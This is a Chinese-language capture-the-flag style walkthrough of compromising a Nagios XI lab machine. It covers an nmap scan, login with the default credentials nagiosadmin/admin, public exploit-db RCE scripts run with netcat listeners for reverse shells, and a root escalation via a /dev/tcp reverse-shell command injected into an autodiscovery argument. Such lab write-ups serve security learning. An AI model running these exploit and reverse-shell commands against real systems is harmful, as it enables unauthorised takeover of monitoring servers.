nmap扫描 ---- 默认用户名+弱密码登录Nagios XI ---- 利用Nagios XI 5.6.5的RCE漏洞获得root的shell
靶机:192.168.101.84
攻击机:192.168.101.34
sudo nmap -sV -sC -p- 192.168.101.84
扫描到端口22、25、80、389、443、5667
浏览器访问http://192.168.101.84/,发现是Nagios XI。
点击上图中的Access Nagios XI按钮,来到登录页面http://192.168.101.84/nagiosxi/login.php?redirect=/nagiosxi/index.php%3f&noauth=1
在网上查到Nagios XI的默认用户是nagiosadmin,尝试使用该用户和常见弱密码登录,发现该用户的密码是弱密码admin。
成功登录后,发现Nagios XI版本是Nagios XI 5.6.0
在exploit-db上查找Nagios XI,找到exp:Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated) - PHP webapps Exploit
下载exp,并根据exp中的用法提示在攻击机上执行:
- nc -nlvp 8888
- python3 49422.py http://192.168.101.84 nagiosadmin admin 192.168.101.34 8888
即可在攻击机nc监听端口上获得靶机www-data用户的反弹shell
靶机上执行sudo -l
发现www-data可以在不输入密码的情况下以root身份执行8条命令,其中有4条和Nagios XI相关,另外4条用ls -al
命令观察后发现当前用户都没有写权限,所以很可能提权还是和Nagios XI有关。
google上搜索“nagios xi privilege escalation”
首先在[R2] Nagios XI Multiple Vulnerabilities - Research Advisory | Tenable®查找到一个proof:
sudo php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses='127.0.0.1/0;/bin/bash -i >& /dev/tcp/192.168.101.34/4444 0>&1;'
尝试之后发现不好使,可能这个漏洞在靶机的版本上已经修复了。
然后又查找到和/usr/local/nagiosxi/html/includes/components/profile/getprofile.sh相关的一个exp:
Nagios XI 5.6.5 - Remote Code Execution / Root Privilege Escalation - PHP webapps Exploit
这个exp真是能用而不好用,愁死我了-_-|||
用法是,攻击机上nc监听某个端口,比如8888
然后执行:
php 47299.php --host=192.168.101.84 --ssl=false --user=nagiosadmin --pass=admin --reverseip=192.168.101.34 --reverseport=8888
我在执行过程中总共遇到3个问题
1、Call to undefined function curl_init()
2、cookie.txt already exists - delete prior to running
3、PHP Fatal error: Uncaught Error: Class "DOMDocument" not found in /home/kali/47299.php:51
解决方法分别如下:
问题一:
sudo apt-get install php-curl
问题二:
注释掉exp中函数checkCookie()相关代码
问题三:
sudo apt-get install php-dom
成功执行exp后,攻击机nc监听端口获得靶机root用户反弹shell,并在/root下找到proof.txt